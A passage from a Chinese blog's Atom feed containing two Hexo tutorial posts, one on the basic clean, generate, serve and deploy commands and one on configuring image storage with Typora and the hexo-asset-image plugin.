id="0x03-部署命令"><a href="#0x03-部署命令" class="headerlink" title="0x03 部署命令"></a>0x03 部署命令</h2><h3 id="基本操作"><a href="#基本操作" class="headerlink" title="基本操作"></a>基本操作</h3><ul><li>清除缓存：<code>hexo clean</code></li><li>生成静态文件：<code>hexo generate</code>可简写为 <code>hexo g</code></li><li>启动服务器：<code>hexo server</code>或者 <code>hexo s</code> 常用参数：<code>-p（--port）</code>重设端口</li><li>部署：<code>hexo deploy</code>可简写为<code>hexo d</code>，用于将网站部署到服务器上。（暂时用不到，目前都是在本地，后面我们将博客托管到<code>GitHub Pages</code>或<code>Gitee Pages</code>时才会用到此命令）<br>常用参数：<code>-g（--generate）</code>，<code>hexo d -g</code>部署前预先生成静态文件，等同于 <code>hexo g -d</code></li></ul><p>发布文章或者修改博客后执行流程：</p><p>清除缓存&gt;生成静态文件&gt;启动服务器，测试没问题后再部署。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">// 我们可以写成一条命令</span><br><span class="line">hexo clean &amp;&amp; hexo g &amp;&amp; hexo s</span><br><span class="line">hexo d</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">Hexo 写作流程的概述，包含了命令，设置等</summary>
    
    
    
    <category term="Hexo-about" scheme="https://fz1lin.com/categories/Hexo-about/"/>
    
    
    <category term="Hexo" scheme="https://fz1lin.com/tags/Hexo/"/>
    
    <category term="blog" scheme="https://fz1lin.com/tags/blog/"/>
    
  </entry>
  
  <entry>
    <title>Hexo 图片存放的问题</title>
    <link href="https://fz1lin.com/2021/448087847/"/>
    <id>https://fz1lin.com/2021/448087847/</id>
    <published>2021-12-03T02:02:32.000Z</published>
    <updated>2021-12-22T11:54:24.994Z</updated>
    
    <content type="html"><![CDATA[<p>如果使用 typora，默认上传服务器是找不到图片的，所以要开启该功能</p><h2 id="配置站点配置文件"><a href="#配置站点配置文件" class="headerlink" title="配置站点配置文件"></a>配置站点配置文件</h2><p>是根目录下的 <code>_config.yml</code> 的配置文件</p><p>搜索</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">post_asset_folder:true</span></span><br></pre></td></tr></table></figure><p>在博客根目录下，安装插件</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">npm</span> <span class="string">install</span> <span class="string">https://github.com/CodeFalling/hexo-asset-image</span> <span class="string">--save</span></span><br></pre></td></tr></table></figure><p>然后可以将typora的路径改为</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">./$&#123;filename&#125;</span></span><br></pre></td></tr></table></figure><p><img src="/2021/448087847/image-20211203100700456.png" alt="image-20211203100700456"> </p><p>修改成功后 </p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">hexo</span> <span class="string">clean</span> <span class="string">&amp;&amp;</span> <span class="string">hexo</span> <span class="string">g</span> <span class="string">&amp;&amp;</span> <span class="string">hexo</span> <span class="string">s</span></span><br><span class="line"><span class="string">hexo</span> <span class="string">d</span></span><br></pre></td></tr></table></figure><p>创建文章会在 <code>source/_posts</code>目录下创建同名文件夹和同名的.md 文件</p>]]></content>
    
    
    <summary type="html">如果使用 typora，默认上传服务器是找不到图片的，所以要开启该功能</summary>
    
    
    
    <category term="Hexo-about" scheme="https://fz1lin.com/categories/Hexo-about/"/>
    
    
    <category term="Hexo" scheme="https://fz1lin.com/tags/Hexo/"/>
    
  </entry>
  
</feed>
